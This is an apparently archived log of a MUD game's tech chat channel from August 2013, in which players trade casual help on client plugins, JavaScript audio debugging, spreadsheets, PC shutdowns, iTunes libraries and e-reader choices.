T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 2 people come into the ER with shortness of breath. One has asthma, the other a gunshot wound to the lung - before you can deal with the problem you need to know how to examine the 'body'
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Zade Tech: i was required to turn off sound effects in zMud because eventually the simple #beep (at T=0) caused a dialup-renegotiation delay - as thogh something was piling up from the repeated #beeps, as though zMUd or Windows was not releasing something from each #beep 
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have 2 completely different ways until the sound nodes. both paths cause problems
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Until you are able to generate the information you need, like which objects are in which state, what is held in container x, what is the current RAM/CPU usage, etc you are effectively operating on one of those ER guys without being able to tell whether you are treating asthma guy or gunshot guy - you need more information.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Zade Tech: (windbag bad analogies -- the gunshot guy is likely dripping blood, a simple visual clue - no need to examine the "body")
T3/r7/2013-08-17.txt.gz:{chan ch=tech}The hairy Hollister Tech: yeah. when you see a  hold in someone's chest and blood is dripping you kinda figure he's been shot
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes Hollister, and in this instance 'see a hole in someone's chest' becomes 'look at the guy's chest' becomes in programming 'print a report on the state of current variables'
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Zade Tech: "investigate and gather more information so a further diagnosis is possible" <--  even that is too verbose 
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not being able to see the current state of variables is pretty much the same level of blindness
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. yeah. thats. yeah. i mean.. i play dr.House now and assume that the nodes continue their secret life as deadly viruses..
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: EXACTLY - and your diagnostic tools are very similar. Test, look around, test again, make a slight change to one thing, see how another thing reacts.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There are shortcuts that knowledge of what you are actually doing with bring (like seeing if (myvar = 0) and knowing it should be ==) but in the meantime, testing will show you exactly where things go wrong.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Putting it out there, imma patent a beginner programming testing app that simulates medicine diagnostics.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ok, thanks. i have couple of clues now,what to do
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Zade Tech: patenting "expert systems" sb disallowed - (heuristic &) expert systems are too common a concept since at least mid-last century
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: just curious: var context = new webkitAudioContext() - if that variable is rewritten, it means basically it all starts from 0 again?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not 100% on javascript, but 'new' usually indicates more permanent storage
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It has a garbage collector, I know that much, but it is most likely less than stellar
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: hm. because all that goes on with the audio is stored in context - it should be a clean start?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: everyhing is uncertain:(
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ok, I have some resources that will help you with this issue.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If at any point you hit a word that doesn't make sense - google it, as it was probably important.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Start here: http://stackoverflow.com/questions/2681511/memory-release-from-local-variable-in-javascript
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then here: http://perfectionkills.com/understanding-delete/
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Read just this section: http://javascript.info/tutorial/memory-leaks#garbage-collection-example
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then you will have enough knowledge to make use of the actual answer to the question, here: https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html#DynamicLifetime
T3/r7/2013-08-17.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: thanks!
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Vexthorne Tech: So I updated my bast plugin's and now I'm getting a run time error?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Vexthorne Tech: Upon leveling
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Ancient Odysseus Tech: anyone know how to modify the mush statmon to add commas for gold?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Tech: you'd need to put the output through commas(), as well as likely using a require commas.lua
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Tech: commas is already required, so you should be able to use commas() in the plugin...
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Tech: looks like you'd use that around gmcpval("worth.gold") on lines 219 and 373
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Vexthorne Tech: is anyone familiar with google spreadsheets?  In particular how to modify or clear conditional formatting for a column?  It doesn't show the conditional formatting under format or that specific row
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't care for Google Spreadsheets much, except when I'm having to use it for work. I've forgotten how to clear conditional formatting - Almost sure it's under Format, though. This is why I do things in Excel and upload to GS.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, Format -> Clear formatting; Conditional formatting, too
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Vexthorne Tech: Well yeah but I'm looking to have a document accessible to more than just me and modifiable.  Some of the conditional formatting was there but it's still applying it to a particular row
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Vexthorne Tech: Ah, clearing the format works differently than deleting the rules
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Vexthorne Tech: Thanks :)
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Book of Etzli Tech: Sure thing.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Vexthorne Tech: you wouldn't know why formatting rules for a specific column don't show up after using overall conditional formatting for the spreadsheet, would you?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: is there a way to see the channels tags while using the aard mush client?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Hanslanda Tech: disable to the chat plugin
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Ancient Odysseus Tech: anyone know how to modify statmon to add commas in for gold?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Hanslanda Tech: or take the time to edit it in some fashion that allows you to access that info.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Hanslanda Tech: that's easy, except for the part where you have to convince Lasher to add it in.  In all seriousness, though, I assume you mean some plugin that captures and makes available that info?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: which one handels the channels? the chats_echo_off one?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Hanslanda Tech: dunno, I use CMud.  Can always just start disabling stuff and see what goes away.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: now i miss cmud :( thanks for mentioning it lol
T3/r7/2013-08-17.txt.gz:{chan ch=tech}Hanslanda Tech: they're functionally equal.  It's just the details of implementation that are different.
T3/r7/2013-08-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone know if its a common problem to have the kernel lock up while using zfs?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: whats the device called that you can hook a laptop HDD into to make it act as an external?
T3/r7/2013-08-17.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: 'enclosure'
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Zoee Tech: can anyone help me with bast eqdb plugin?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Grissom Tech: ok i am busy making a prediction program for a school task i am trying to assign names from a database to a array using the following code :"HTS[x] := ADOQuery1.SQL.Add('SELECT Home Team FROM Matches');" but it says Incompatiable types Integer and String,the x is a locally declared variable to control the assigning in a loop and the HTS is a array of 0 to 40 of type string.Any ideas how to fix this?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Grissom Tech: using Delphi 7 btw
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Ranrr Tech: Been a long time since I heard of anyone using delphi... (sorry, can't help you).
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Runtur Vanion Tech: anyone  know about in tank fuel pumps ?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Arkaylis Tech: Sounds like a PITA to change one and doesnt sound like a sound engineering design
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: they're pretty common in vehicles
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Arkaylis Tech: Thankfully though, none of mine
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Ranrr Tech: So, if the pump breaks, you have to replace the whole tank...? Sounds expensive.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: no you don't, just the pump
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: you have to drop the tank to get to it, but it's not part of the tank...
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Ranrr Tech: oic
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: i'm guessing that big media outlets don't actually want people consuming media on their websites by virtue of the fact that those websites are becoming impossible to watch because of all the embedded video and other bullcrap on it
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: if it isnt' stupid videos autoplaying when you load the site, when you WANT to look at a video, it's then clicking "refuse" to them sticking crap on your hard drive about a dozen times, then you get an advert you didn't want, then there's a 10% chance of actually getting the video you wanted to actually play
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Zade Tech: where internet and iphone users pay for (extra) bandwidth, the extortion game is to encourage websites to pad extra megabytes into each website visit
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: well...... this is why newspapers and cable networks are dying
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: a lot of it is expectation, these sites expect you to allow them to plant whatever files on your hard drive that you see fit. When you turn your security settings up, even just a little bit, these sites completely fail
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Zade Tech: to download 50k of actual information from a website, the visitor is required to download several megabytes of javascripts etcetera, plus the adverts
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: this is why news aggregation sites are becoming popular
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Zade Tech: internet website programmers are getting a bad name 
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: there are very few website programmers, zade, it's all CMS these days
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: i.e you have comms teams running websites, not programmers
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: nod, the programmers just do what they're told, they're not the interface people, they're the "make it happen" people
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: heh, i'm not
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: granted i'm not typical though
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: it all just ties in with modern society and it's tendency to turn all good things into crap
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: and much of it is end-user-driven...the decision-makers haven't learned that just because someone asks for something doesn't mean you should give it to them
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: it may be a "cool feature" on its own, but add it to all the other cool features and feature creep wins out over usability
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: really, giving end-users what they want is an illusion, it's giving the corporation and their backers what they want, really
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Ranrr Tech: But who is the end user that news sites design for? It's not the home user, it's who ever pays the bill.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: both, really
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: while as a home user you look at the whole and say "that's not what I want"...individual parts/features ARE what many home users separately wanted
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: of course not everything...nobody requests banner ads, except through not wanting to directly pay for content, but most of the things that annoy one person were requested by another
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Ranrr Tech: indirectly, we "need" ads, since we want stuff to be "free"
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: yup, we want (and request) them by almost never signing up for the paid versions of outlets so it's a known-bad business model
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: but then we go and install things like adblockers, and enter the arms race
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: i don't mind ads
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: autoplaying videos and content that screws up because i don't allow cookies i can't forgive tho
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Quadrapus Tech: Anyone use Bast's EQ database scripts?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: how is it Google have managed to so fundamentally break Google Earth?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Blonk Tech: google got rich, and they arel
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Blonk Tech: oops, and they are getting worse and worse
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Quadrapus Tech: Any CS-ubernerds around?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: what's your real question?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Quadrapus Tech: How to pose a problem. If you're good with algorithms, we can talk about it in tells
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: the way to pose a problem is just to describe what's happening.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: as certain education-industry components have recently demonstrated, you should avoid referring to nazis and dead babies and anything else considered hot-button topics.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tigernuts Tech: i'm sure the answer will involve blaming libertarians, however
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: no, it won't.  Those teachers actually got fired because they couched their math in the wrong word problem.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}HelperMan Hadar Tech: if i install something via wine, where does it normally install?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im using cmud on wine now, i told the program to go full screen but it still has a gap on the side any way to fix that?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Zetkax Tech: $HOME/.wine/drive_c
T3/r7/2013-08-18.txt.gz:{chan ch=tech}HelperMan Hadar Tech: nevermind it fixed  fixed itsself
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Loreli Tech: Anyone have an android lists app they recomend? Not tasks or todos, but lists and notes. Bonus for optional strikethrough, though no auto delete/remove, and manual sorting. I don't need voices or video or images.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Ixle Tech: Google tasks works for me
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Ixle Tech: Either Gtasks or Astrid are good choices
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Loreli Tech: Thanks for the suggestions Ixle. However, Astrid is closing (http://blog.astrid.com/blog/2013/07/08/astrid-winding-down/) and I prefer something non-cloud/google linked. :)
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Ixle Tech: Gtasks should still work then, doesn't have to use google tasks
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Loreli Tech: Gtasks is task and todo oriented. I'm more interested in lists. Like a list of trees I like, a list of the books X website considers classics, a list of present ideas, etc.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: So I tranferred my entire itunes library to a hard drive. Cleared out the itunes on my desktop and my latop. Pulled up itunes on my laptop, chose library - point it to the HD folder...and it pulled up my itunes no problem. Did the exact same thing on my desktop and it refuses to pull up the itunes even after I choose the right library. Any ideas? 
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Rikitiki Takihisis Tech: Same OS?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Fluffhead Tech: copy/paste the folder from your laptop onto the appropriate folder on the desktop
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: I assume this is an external?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: oh, sorry i lost your replies in the spam
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: yes. I have an external Hard drive that I copied my itunes folder into 
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: okay, and both laptop and desktop can see this HDD?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: yes
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: though
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: they're both macs and on my laptop the harddrive is actually showing up as an icon on the desktop
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: and on the other one, the one i'm having problems with, it only shows up when i search for it in finder
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: not familiar with macs, but I suppose that would just be a shortcut...
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: so, it's showing up like a thumb drive would on the laptop and just showing up in the search on the deskop.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: yeah, it's a shortcut essentially....but it's the only difference I could find between the two 
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: the laptop was the original install, right?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: yep
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: well, no
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: I had my itunes library on my desktop....copied it all onto the Ex HD. And then I erased/whiped my Desktop
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: my laptop itunes was empty...so while I was doing the restore on my desktop I loaded up the itunes to my laptop....worked no problem
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: I closed out itunes, clicked option and then itunes. That has you choose the library....and I pulled up the HD Itunes folder. Worked like a charm.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Lilleana Tech: however, doing the exact same thing on my desktop.....nothing. It points to the Ex HD folder it's suppose dto, but doesn't pull anything up
T3/r7/2013-08-18.txt.gz:{chan ch=tech}SeanJac Tech: anybody here who programs in vb and ms access?
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Hanslanda Tech: I used to a long, long time ago.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}SeanJac Tech: i have a snippet of code that keeps returning an error, would you be kind enough to look at it? i'll post it in tech forum.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}SeanJac Tech: its a dynamic query
T3/r7/2013-08-18.txt.gz:{chan ch=tech}SeanJac Tech: posted it.
T3/r7/2013-08-18.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: bo tech, note from seanjac, No Posts in this from from seanjac:
T3/r7/2013-08-18.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Weird Lil' Salvanas Tech: Just downloaded the latest MUSH package, how do I fix the size of the input bar? 
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Weird Lil' Salvanas Tech: Atm i can drag it up wider, but when I type something in it it resizes back to 1 line of text high
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Vost Tech: I don't think that it can be changed
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Vost Tech: I have tried to do that too
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Weird Lil' Salvanas Tech: My old version used to be able to. Sigh, upgrades, ey? 
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Vost Tech: yeah, it's a "feature", not a bug
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Weird Lil' Salvanas Tech: Ah I see. It's part of the client window now, not the main miniwindow...
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Phazer Tech: anyone know the address to put into the .cfg file for the compression client?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Lorken Tech: is there a way to get client or mapper specifically to check areas for levels like it does when client first starts up, other then restarting client?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: To check areas for levels? Depends on what script you are using, that isn't native functionality
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Lorken Tech: it is most likely from winkles triple pack then
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Lorken Tech: i tried the mapper help files but no luck there, not sure what the help files are for the triple pack from winkle
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Alcor Tech: help for Winkle is ww help, but that doesn't help you :(
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Alcor Tech: Or if it does, please tell me, as I've been looking for a solution to the same problem :)
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Ontuct Tech: what are you hoping for as an end result?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Alcor Tech: In room campaigns the plugin ignores areas which are way out of your level. But that only works if they are indexed correctly, which they sometimes aren't due to a pagesize bug(?). Been meaning to look at the code for quite a while now
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Ontuct Tech: I leave pagesize at 0 and try to be careful with long lists
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Alcor Tech: Yeah, that is one workaround, but obviously not the best. I'll try to take a look at the code this weekend. It shouldn't be too hard to copy the indexing procedure and give it a seperate command. If I'll manage it, I'll give you a tell Lorken
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Lorken Tech: yeah i do the same but still messes up sometime, i will just put keys in container and restart client, thanks all :)
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: follow techies. I need serious help with my computer
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: fellow*
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tech: Cain killd Abelinc types follow techies...Nobody here by that name.
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: I switch my pc on, and it then it just switches off on its own a few minutes later
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Qaebl Tech: ouch
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tech: check the fans and air vents
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Qaebl Tech: maybe you need a good cleaning 
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Qaebl Tech: overheating could be a cause for that.
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tech: it's either overheating and protecting itself by shutting off (it usually tells you this with beeps, etc), or bad PSU as the most-likely culprits
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: its horrible :'( check it for what? they all spinning
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tech: Qaebl nods at you in agreement. 
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: first thought my processor was over heating so I cleaned the Fan out and got rid of any dust but its still dying on me
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: Oh, I forgot to mention. at first it gave me one short beep witch is systems go. and after it crashed And I switched it back on it gave a slightly longer beep. just long enough so that I could notice
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tech: is there a crash, or just a power down?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: Like I said. it starts up and the Shuts down imediately
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Ylar Tech: Do you have another power supply you can attach to it?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Ylar Tech: and, not quite in the same vein, have you tried disconnecting the power switch from the motherboard and tripping it manually?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: yes. but it won't be powerfull enough to power the fan and my GPU card
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: yes. I have tried "jump starting" it still does it
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Ylar Tech: then don't attach the supplemental power to your gfx card. in fact, try disconnecting the 6/8 pin adapter from the card
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Ylar Tech: and try powering it on.  then try using another power supply
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: ok, I'll try that. but only tomorrow. getting late here and I've had enough struggling for today
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The mighty Hollister Tech: thanks for the help though
T3/r7/2013-08-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: heh. after some serious gag triggers 1 combat takes like 10 lines of text.
T3/r7/2013-08-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: its a bliss
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tigernuts Tech: ?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yep. removed all that is basically spam. and figured i've never looked at the prompr while fighting - thats gone. now its clean. nice
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tech: the new damage options and "help spamreduce" can drop things down significantly without gag triggers :-)
T3/r7/2013-08-19.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: what's up with the mapstart mapend thing?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Hanslanda Tech: it's for scripting, type TAGS MAP OFF to turn them off.
T3/r7/2013-08-19.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: thanks, no idea why that got turned on
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Mr. Messy Jesse Tech: so i was havin problems with my computer shutting off randomly and sometimes it would memory dump but most the time it was like pulling the plug, it got to the point that i had to let the comp cool down before starting it or it wouldn't get into windows... i pulled one stick and now it runs fine... wtf
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Hanslanda Tech: overheating issues
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Hanslanda Tech: probably an airflow thing more than a wrong type of hardware thing.
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Book of Etzli Tech: Chip creep! :p
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Turie Tech: Cockroaches are eating the wires.
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The Slithy Toves Tech: Oh no! Bugs in the system!
T3/r7/2013-08-19.txt.gz:{chan ch=tech}The Slithy Toves Tech: Have you downloaded a cpu monitoring utility if this is an intel processor?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Thunderax Tech: anyone know how to do a conditional gag with mush, or if it is even possible? such as hiding a line from output only if a variable = 1
T3/r7/2013-08-19.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know of a good way to use lua to connect to a DB both remote and local, i tried luarocks, but it wont work, im using linux and luarocks runs good through that, but wine/cmud cant use it, suggestions?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Blonk Tech: -20l
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tater Tot Vinatia Tech: any ideas why my screen wont scroll? cant scroll down manually either
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Hanslanda Tech: did you press scroll lock by mistake?
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Tater Tot Vinatia Tech: laptop doesnt have a scroll lock button
T3/r7/2013-08-19.txt.gz:{chan ch=tech}Hanslanda Tech: it's probably functioned onto something else, then, I guess.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Tech: looking at -h...Thunderax: to do that, you gag unconditionally, then you ColourNote() back onto the screen conditionally
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Tech: oops, forgot to complete my thought...the other way to do it is to modify the trigger when you set the alias to toggle the omit from output bit...all depends on the type of variable checking...i.e. gag if this war is not in my range requires the first...gag if "only show in capture window" is set can have the second
T3/r7/2013-08-20.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: is there a way to turn this into a trigger in mush that echoes the time through says or something?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: Spell   : Enchanters focus (06:20)
T3/r7/2013-08-20.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: where the 6:20 is obviously going to be a variable?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Tech: yes, but iirc the spellup plugins give you the countdown time
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I just use 'saf focus' myself, though it would be fairly simple to trigger and send
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Tech: hmm, when the heck did he implement text search filter in saf?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: ahh, thanks Vakieh that works perfect, didn't know you could add an argument
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Tech: there's my learnin' for the day
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not sure it's a new thing at all
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Tech: I knew about category filters, but not text/name
T3/r7/2013-08-20.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: nods, Abe, your advice worked too, i can sort the spellup plugin by recoveries too
T3/r7/2013-08-20.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Kindle Fire HD a good buy for $149?
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Fire is a cheap iPad knockoff, and it does it poorly. Get paperwhite for ereader, iPad, Tab or Nexus for padding
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Can vouch for paperwhite. Went from a Galaxy tab (which was nice, but I spent most of my time e-reading) to the paperwhite and my eyes really are happy for the change.
T3/r7/2013-08-20.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Hm, alright, thanks for the input. Just looking for something nice and portable for reading eBooks, and for sheetmusic. 
T3/r7/2013-08-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Best thing about Kindles is the e-ink... then they go and make a backlight screen for the Fire and wonder why everyone pans it
